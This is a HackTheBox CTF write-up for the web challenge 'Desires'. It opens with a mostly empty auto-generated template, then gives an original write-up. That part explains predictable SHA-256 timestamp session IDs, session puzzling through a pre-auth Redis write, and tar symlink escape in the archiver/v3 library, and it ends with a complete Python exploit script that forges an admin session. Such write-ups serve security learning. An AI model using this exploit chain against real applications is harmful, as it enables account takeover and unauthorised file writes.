Desires
Desires
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: predictable_session_brute_force, session_forgery, session_puzzling, symlink_directory_traversal, tar_symlink_escape
Summary
"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
HackTheBox| ID:20260209_hackthebox_desires - Tags: go, file-upload, path-traversal, fiber, session-puzzling, symlink-attack, tar-symlink, predictable-session-id, file-based-sessions, redis, archiver-v3
- Indicators: Go Fiber + file-based sessions in /tmp/sessions/, mholt/archiver/v3 for archive extraction, sessionID = sha256(unix_timestamp), PrepareSession before authentication, archiver.Unarchive() with symlink support
- Source:
20260209_hackthebox_desires.md
Foothold
Vulnerability / Misconfiguration
- Predictable_session_brute_force
- Session_forgery
- Session_puzzling
- Symlink_directory_traversal
- Tar_symlink_escape
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- predictable_session_brute_force
- session_forgery
- session_puzzling
- symlink_directory_traversal
- tar_symlink_escape
- Tags: go, file-upload, path-traversal, fiber, session-puzzling, symlink-attack, tar-symlink, predictable-session-id, file-based-sessions, redis, archiver-v3
Original Writeup
<details><summary>Click to expand original content</summary>Desires — HackTheBox
Description
"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."
Target: http://154.57.164.82:31868
Technology Stack
- Go (Fiber framework) — main web service on port 1337
- Node.js (Express) — internal SSO service on port 8080 (SQLite + bcrypt)
- Redis — session ID storage
- mholt/archiver/v3 v3.5.0 — archive extraction library
- File-based sessions stored at
/tmp/sessions/<username>/<sessionID>
Architecture
Two services managed by supervisord:
- Go service (public-facing): handles registration, login, file upload, admin page
- Node.js SSO (internal only): handles user authentication against SQLite DB
Session flow:
- On login,
sessionID = sha256(unix_timestamp)is generated PrepareSession(sessionID, username)storesusername → sessionIDmapping in RedisloginUser(username, password)authenticates against the SSO serviceCreateSession(sessionID, user)writes user JSON to/tmp/sessions/<username>/<sessionID>GetSession(username)reads Redis to get sessionID, then reads the file at/tmp/sessions/<username>/<sessionID>
The admin page at /user/admin checks if user.Role == "admin" and renders the flag.
Upload endpoint extracts archives to ./files/<username>/ using archiver.Unarchive(). The uploaded file is renamed to uuid + filepath.Ext(originalFilename).
Username validation blocks /, ., \ characters.
Analysis
Vulnerability 1: Session Puzzling (CWE-384)
In LoginHandler in http.go:
func LoginHandler(c *fiber.Ctx) error {
sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
err := PrepareSession(sessionID, credentials.Username) // Redis SET before auth!
user, err := loginUser(credentials.Username, credentials.Password) // Auth happens AFTER
sessId := CreateSession(sessionID, user) // File only created on success
}
Critical flaw: PrepareSession() stores the session ID in Redis BEFORE authentication. A failed login leaves Redis pointing to a session ID with NO corresponding session file on disk. The session ID is also predictable: sha256(unix_timestamp).
Vulnerability 2: Symlink Attack via archiver/v3
The mholt/archiver/v3 library:
- Creates symlinks from tar archives without restriction (no symlink target validation)
- Follows symlinks when creating parent directories via
os.MkdirAllfor subsequent files - Has
OverwriteExisting=falseby default, but allows writing NEW files through symlinks - Has
CheckPaththat prevents../path traversal, but does NOT prevent symlink-based escapes
Key archiver source code:
// writeNewSymbolicLink creates symlinks without validating the target
func writeNewSymbolicLink(fpath string, target string) error {
os.MkdirAll(filepath.Dir(fpath), 0755)
os.Symlink(target, fpath) // No validation of target!
}
// writeNewFile follows symlinks via os.MkdirAll
func writeNewFile(fpath string, in io.Reader, fm os.FileMode) error {
os.MkdirAll(filepath.Dir(fpath), 0755) // Follows symlinks!
out, _ := os.Create(fpath)
io.Copy(out, in)
}
Vulnerability 3: Predictable Session IDs
sessionID = sha256(unix_timestamp) — only depends on the current second, easily brute-forced within a small window (~5-8 values).
Exploit Chain
Step 1: Register "uploader" user and login
Get an authenticated session to use the upload endpoint.
Step 2: Register "target" user
Create a second user account.
Step 3: Trigger failed login as "target"
Send a login request with wrong password for "target". This:
- Sets Redis:
target → sha256(timestamp)viaPrepareSession - Does NOT create any session file or directory (login fails before
CreateSession) - The session ID is predictable from the timestamp
Step 4: Upload malicious tar archive as "uploader"
Create a .tar file containing:
- Symlink entry:
slink→/tmp/sessions(points to the sessions root directory) - File entry:
slink/<target>/<predicted_session_id>containing{"username":"<target>","id":1,"role":"admin"}
When extracted to ./files/<uploader>/:
- The symlink
./files/<uploader>/slink→/tmp/sessionsis created os.MkdirAllcreates./files/<uploader>/slink/<target>/which resolves to/tmp/sessions/<target>/(directory created through symlink)- The admin session JSON is written to
/tmp/sessions/<target>/<predicted_session_id>
Step 5: Access admin page with forged session
Set cookies: username=<target>, session=<predicted_session_id>
Access /user/admin → GetSession reads Redis for "target" → gets the predicted session ID → reads the forged admin session file → role == "admin" → FLAG rendered!
Solution
#!/usr/bin/env python3
"""
HackTheBox Desires — Session Puzzling + Tar Symlink Attack
Exploit chain: predictable session ID + pre-auth Redis write + archiver symlink escape
"""
import requests, json, tarfile, io, time, sys, re, hashlib
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.82:31868"
ts = int(time.time()) % 10000000
UPLOADER = f"up{ts}"
TARGET_USER = f"tg{ts}"
PASSWORD = "password123"
up_session = requests.Session()
# Step 1: Register and login uploader
up_session.post(f"{TARGET}/register", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False)
up_session.post(f"{TARGET}/login", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False)
# Step 2: Register target
requests.post(f"{TARGET}/register", data={"username": TARGET_USER, "password": PASSWORD}, allow_redirects=False)
# Step 3: Failed login as target (sets Redis, no session file)
ts_before = int(time.time())
requests.post(f"{TARGET}/login", data={"username": TARGET_USER, "password": "WRONG"}, allow_redirects=False)
ts_after = int(time.time())
# Step 4: Try each possible session ID
admin_data = json.dumps({"username": TARGET_USER, "id": 1, "role": "admin"}).encode()
for i, t in enumerate(range(ts_before - 3, ts_after + 4)):
predicted_sid = hashlib.sha256(str(t).encode()).hexdigest()
# Fresh uploader for each attempt (symlink can't be recreated)
if i > 0:
uploader_name = f"up{ts}a{i}"
up_session = requests.Session()
up_session.post(f"{TARGET}/register", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False)
up_session.post(f"{TARGET}/login", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False)
# Create tar: symlink to /tmp/sessions + admin session file through symlink
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
# Symlink: slink -> /tmp/sessions
sym = tarfile.TarInfo(name="slink")
sym.type = tarfile.SYMTYPE
sym.linkname = "/tmp/sessions"
tar.addfile(sym)
# Admin session file written through the symlink
f = tarfile.TarInfo(name=f"slink/{TARGET_USER}/{predicted_sid}")
f.size = len(admin_data)
f.mode = 0o644
tar.addfile(f, io.BytesIO(admin_data))
buf.seek(0)
resp = up_session.post(f"{TARGET}/user/upload", files={"archive": ("p.tar", buf.read(), "application/x-tar")})
if resp.status_code != 202:
continue
# Step 5: Access admin with forged session
test = requests.Session()
test.cookies.set("session", predicted_sid)
test.cookies.set("username", TARGET_USER)
resp = test.get(f"{TARGET}/user/admin")
if "HTB{" in resp.text:
flag = re.search(r'HTB\{[^}]+\}', resp.text)
print(f"FLAG: {flag.group(0)}")
sys.exit(0)
print("Failed — try adjusting timestamp window")
Key Tricks and Observations
-
File extension matters:
filepath.Ext("file.tar.gz")returns.gz, not.tar.gz. The archiver'sByExtensionfunction then treats it as a Gz compressor (not a TarGz archive), causing extraction to fail. Must use.tarextension only. -
Symlink to parent directory: Initially tried symlinking to
/tmp/sessions/<target>/but that directory doesn't exist after a failed login. Symlinking to/tmp/sessionsinstead letsos.MkdirAllcreate the<target>/subdirectory through the symlink. -
OverwriteExisting=false: The archiver won't overwrite existing files. This is why the session puzzling is essential — the failed login ensures no session file exists at the predicted path.
-
Fresh uploader per attempt: Once a symlink named
slinkexists in an uploader's directory, subsequent uploads fail with "file exists". Each brute-force attempt needs a new uploader account. -
Timestamp brute-force window: The session ID is
sha256(unix_second), so only ~5-8 values need to be tried around the request time.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR